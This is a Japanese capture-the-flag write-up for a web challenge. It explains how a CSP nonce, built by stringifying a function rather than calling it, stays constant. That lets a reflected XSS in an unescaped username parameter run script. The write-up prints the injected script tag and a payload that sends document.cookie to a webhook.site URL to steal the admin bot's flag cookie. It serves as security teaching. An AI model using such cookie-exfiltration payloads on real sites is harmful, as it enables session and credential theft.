【Daily AlpacaHack】2026/05/27 Hello Programmer! Writeup
Topic: CSP(Content Security Policy)
添付ファイル
hello-programmer
├── bot
│ ├── Dockerfile
│ ├── bot.js
│ ├── index.js
│ ├── package-lock.json
│ ├── package.json
│ └── views
│ └── index.ejs
├── compose.yaml
└── web
├── Dockerfile
├── app.py
└── requirements.txtbot/bot.js 10~20, 23~29
const browser = await puppeteer.launch({
headless: "new",
pipe: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
---
const page = await browser.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: new URL(APP_URL).hostname,
path: "/",
});botはpuppeteerで動いていてflagはcookieにそのままあるので、これが取れればよさそう
web/app.py 54, 66~70
<h1>Hello {username}!</h1>
---
@app.get("/")
def index():
nonce = g.get("nonce")
username = request.args.get("username", "programmer")
return INDEX.format(nonce=nonce, username=username)クエリパラメータのusernameをエスケープせずに表示しているので、反射型XSSができそう
web/app.py 13-31
@app.after_request
def set_csp(response):
# Content Security Policy (CSP) is an HTTP response header that restricts which resources a browser can load or execute.
# Here, resources are denied by default. Inline script and style tags are allowed only if they have the matching nonce.
# Content Security Policy (CSP) は、ブラウザがどのリソースを読み込み・実行できるかを制限する HTTP レスポンスヘッダです。
# ここでは、デフォルトですべてのリソースを拒否しますが、インラインの script/style タグは、対応する nonce を持つ場合に限り許可されます。
nonce = g.get("nonce")
response.headers["Content-Security-Policy"] = (
"default-src 'none'; "
f"script-src 'nonce-{nonce}'; "
f"style-src 'nonce-{nonce}'; "
"object-src 'none'; "
"base-uri 'none'; "
"frame-ancestors 'none'"
)
return response正しいnonceを持っていないscript/styleタグはブロックされてしまうようなので、これを回避したい
web/app.py 8~10
@app.before_request
def set_nonce():
g.nonce = base64.b64encode(str(secrets.token_bytes).encode()).decode("ascii")nonceの実装を見てみると、関数を呼び出した値ではなく、関数そのものを文字列としてしまっている
import secrets
# 誤
print(str(secrets.token_bytes))
# <function token_bytes at 0x7f44275fab60>
# <function token_bytes at 0x7f44275fab60>
# 正
print(str(secrets.token_bytes(16)))
# b'NY\x08x\x7fT#:\x89\x14\xfc\xfd\xe1\xab\xb1a'
# b'\xb0\xec3``\xaf(\xc4i<\xe6\x8f\xcb\xb6ZB'実際には、これは、ノンスはすべての HTTP レスポンスで異なっており、予測不可能でなければならないということです。
これは、サーバーは毎回新しいノンスを挿入しなければならないため、静的な HTML を提供できないことを意味します。通常、サーバーはテンプレートエンジンを使用してノンスを挿入します。
そのため、このページにおけるnonceが分かれば、それを埋め込んでscriptを実行することができる
nonce

nonceはレスポンスのソースや開発者ツールなどから確認できる
クエリパラメータ
?username=</h1><script nonce="PGZ1bmN0aW9uIHRva2VuX2J5dGVzIGF0IDB4N2ZlODQ5M2M5ZmUwPg==">alert(0)</script><h1>usernameをこのようなパラメータにするとスクリプトを実行できた

フラグの取得
あとはサーバーを用意して
location.href = "https://webhook.site/{uuid}?" %2B document.cookie
// + がURL encodeでスペースになってしまうので %2B とするこのようなスクリプトに書き換えて

admin botにreportすると

フラグが取得できた!